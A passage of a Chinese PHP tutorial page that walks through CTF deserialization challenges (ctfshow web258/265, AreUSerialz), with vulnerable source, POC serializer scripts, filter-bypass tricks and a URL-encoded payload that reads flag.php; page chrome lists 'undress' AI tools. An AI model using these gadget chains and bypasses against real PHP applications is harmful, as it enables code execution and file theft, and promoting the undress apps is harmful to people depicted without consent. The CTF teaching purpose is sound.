if(preg_match(&#39;/ctfshow/&#39;, $cs)){  
throw new Exception("Error $ctfshowo",1);  
}
登录后复制

很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,

这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写

直接这样

$cs = file_get_contents(&#39;php://input&#39;);采用php伪协议传参

直接提交POST数据就行

<?php  


class cTfshow  
{  


}  

$a=new cTfshow();  
echo (serialize($a));
登录后复制

18.png

+号绕过

ctfshowWEB258

<?php  


error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new info();  
}  
public function login($u,$p){  
return $this->username===$u&&$this->password===$p;  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class info{  
public $user=&#39;xxxxxx&#39;;  
public function getInfo(){  
return $this->user;  
}  
}  

class backDoor{  
public $code;  
public function getInfo(){  
eval($this->code);  
}  
}  

$username=$_GET[&#39;username&#39;];  
$password=$_GET[&#39;password&#39;];  

if(isset($username) && isset($password)){  
if(!preg_match(&#39;/[oc]:d+:/i&#39;, $_COOKIE[&#39;user&#39;])){  
$user = unserialize($_COOKIE[&#39;user&#39;]);  
}  
$user->login($username,$password);  
}  

可见增加了过滤,过滤例如如下o:123:、c:456:

s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
登录后复制

正常反序列化肯定会有o和c这种

如果O:后面不跟数字的话就可以把这个绕过去了

这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

这里把O:后面加上一个加号

<?php  

error_reporting(0);  
highlight_file(__FILE__);  

class ctfShowUser{  
public $username=&#39;xxxxxx&#39;;  
public $password=&#39;xxxxxx&#39;;  
public $isVip=false;  
public $class = &#39;info&#39;;  

public function __construct(){  
$this->class=new backDoor();  
}  
public function __destruct(){  
$this->class->getInfo();  
}  

}  

class backDoor{  
public $code="phpinfo();";  
public function getInfo(){  
eval($this->code);  
}  
}  

$a=new ctfShowUser();  
//echo urlencode(serialize($a));  
$a=serialize($a);  
$a=preg_replace(&#39;/[oc]+:/i&#39;,&#39;O:+&#39;,$a);  
echo urlencode($a);
登录后复制

19.png

利用&使两值恒等

题目ctfshow web265

<?php  

error_reporting(0);  
include(&#39;flag.php&#39;);  
highlight_file(__FILE__);  
class ctfshowAdmin{  
public $token;  
public $password;  

public function __construct($t,$p){  
$this->token=$t;  
$this->password = $p;  
}  
public function login(){  
return $this->token===$this->password;  
}  
}  

$ctfshow = unserialize($_GET[&#39;ctfshow&#39;]);  
$ctfshow->token=md5(mt_rand());  

if($ctfshow->login()){  
echo $flag;  
}

$ctfshow->login()这个成立才给flag

$ctfshow->token=md5(mt_rand());但是这个是随机的
登录后复制

这个题考察php按地址传参

<?php  
$a=&#39;11&#39;;  
$b=&$a;  
$b=1;  
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  
//1
登录后复制

所以我们可以直接这样

<?php  
class ctfshowAdmin{  
public $token;  
public $password;  
public function __construct(){  
$this->password = &$this->token;  
}  
}  
$a=new ctfshowAdmin();  
echo ( urlencode(serialize($a)));
登录后复制

php7.1+反序列化对类属性不敏感

题目来自[网鼎杯 2020 青龙组]AreUSerialz

<?php  

include("flag.php");  

highlight_file(__FILE__);  

class FileHandler {  

protected $op;  
protected $filename;  
protected $content;  

function __construct() {  
$op = "1";  
$filename = "/tmp/tmpfile";  
$content = "Hello World!";  
$this->process();  
}  

public function process() {  
if($this->op == "1") {  
$this->write();  
} else if($this->op == "2") {  
$res = $this->read();  
$this->output($res);  
} else {  
$this->output("Bad Hacker!");  
}  
}  

private function write() {  
if(isset($this->filename) && isset($this->content)) {  
if(strlen((string)$this->content) > 100) {  
$this->output("Too long!");  
die();  
}  
$res = file_put_contents($this->filename, $this->content);  
if($res) $this->output("Successful!");  
else $this->output("Failed!");  
} else {  
$this->output("Failed!");  
}  
}  

private function read() {  
$res = "";  
if(isset($this->filename)) {  
$res = file_get_contents($this->filename);  
}  
return $res;  
}  

private function output($s) {  
echo "[Result]: <br>";  
echo $s;  
}  

function __destruct() {  
if($this->op === "2")  
$this->op = "1";  
$this->content = "";  
$this->process();  
}  

}  

function is_valid($s) {  
for($i = 0; $i < strlen($s); $i++)  
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
return false;  
return true;  
}  

if(isset($_GET{&#39;str&#39;})) {  

$str = (string)$_GET[&#39;str&#39;];  
if(is_valid($str)) {  
$obj = unserialize($str);  
}  

}
登录后复制

看着很多,其实没什么东西,

关键要利用到这里

大致看了write函数或者read函数,都可以尝试利用得到flag

但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

POC如下

<?php  

class FileHandler {  

public $op=2;  
public $filename="flag.php";  
public $content="111";  
pr  
}  

$a = new FileHandler();  

echo urlencode(serialize($a));  

?>

payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
登录后复制

推荐学习:《PHP视频教程

以上是PHP反序列化入门总结(小白必看)的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.聊天命令以及如何使用它们
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

适用于 Ubuntu 和 Debian 的 PHP 8.4 安装和升级指南 适用于 Ubuntu 和 Debian 的 PHP 8.4 安装和升级指南 Dec 24, 2024 pm 04:42 PM

PHP 8.4 带来了多项新功能、安全性改进和性能改进,同时弃用和删除了大量功能。 本指南介绍了如何在 Ubuntu、Debian 或其衍生版本上安装 PHP 8.4 或升级到 PHP 8.4

如何设置 Visual Studio Code (VS Code) 进行 PHP 开发 如何设置 Visual Studio Code (VS Code) 进行 PHP 开发 Dec 20, 2024 am 11:31 AM

Visual Studio Code,也称为 VS Code,是一个免费的源代码编辑器 - 或集成开发环境 (IDE) - 可用于所有主要操作系统。 VS Code 拥有针对多种编程语言的大量扩展,可以轻松编写

我后悔之前不知道的 7 个 PHP 函数 我后悔之前不知道的 7 个 PHP 函数 Nov 13, 2024 am 09:42 AM

如果您是一位经验丰富的 PHP 开发人员,您可能会感觉您已经在那里并且已经完成了。您已经开发了大量的应用程序,调试了数百万行代码,并调整了一堆脚本来实现操作

您如何在PHP中解析和处理HTML/XML? 您如何在PHP中解析和处理HTML/XML? Feb 07, 2025 am 11:57 AM

本教程演示了如何使用PHP有效地处理XML文档。 XML(可扩展的标记语言)是一种用于人类可读性和机器解析的多功能文本标记语言。它通常用于数据存储

在PHP API中说明JSON Web令牌(JWT)及其用例。 在PHP API中说明JSON Web令牌(JWT)及其用例。 Apr 05, 2025 am 12:04 AM

JWT是一种基于JSON的开放标准,用于在各方之间安全地传输信息,主要用于身份验证和信息交换。1.JWT由Header、Payload和Signature三部分组成。2.JWT的工作原理包括生成JWT、验证JWT和解析Payload三个步骤。3.在PHP中使用JWT进行身份验证时,可以生成和验证JWT,并在高级用法中包含用户角色和权限信息。4.常见错误包括签名验证失败、令牌过期和Payload过大,调试技巧包括使用调试工具和日志记录。5.性能优化和最佳实践包括使用合适的签名算法、合理设置有效期、

php程序在字符串中计数元音 php程序在字符串中计数元音 Feb 07, 2025 pm 12:12 PM

字符串是由字符组成的序列,包括字母、数字和符号。本教程将学习如何使用不同的方法在PHP中计算给定字符串中元音的数量。英语中的元音是a、e、i、o、u,它们可以是大写或小写。 什么是元音? 元音是代表特定语音的字母字符。英语中共有五个元音,包括大写和小写: a, e, i, o, u 示例 1 输入:字符串 = "Tutorialspoint" 输出:6 解释 字符串 "Tutorialspoint" 中的元音是 u、o、i、a、o、i。总共有 6 个元

解释PHP中的晚期静态绑定(静态::)。 解释PHP中的晚期静态绑定(静态::)。 Apr 03, 2025 am 12:04 AM

静态绑定(static::)在PHP中实现晚期静态绑定(LSB),允许在静态上下文中引用调用类而非定义类。1)解析过程在运行时进行,2)在继承关系中向上查找调用类,3)可能带来性能开销。

什么是PHP魔术方法(__ -construct,__destruct,__call,__get,__ set等)并提供用例? 什么是PHP魔术方法(__ -construct,__destruct,__call,__get,__ set等)并提供用例? Apr 03, 2025 am 12:03 AM

PHP的魔法方法有哪些?PHP的魔法方法包括:1.\_\_construct,用于初始化对象;2.\_\_destruct,用于清理资源;3.\_\_call,处理不存在的方法调用;4.\_\_get,实现动态属性访问;5.\_\_set,实现动态属性设置。这些方法在特定情况下自动调用,提升代码的灵活性和效率。

See all articles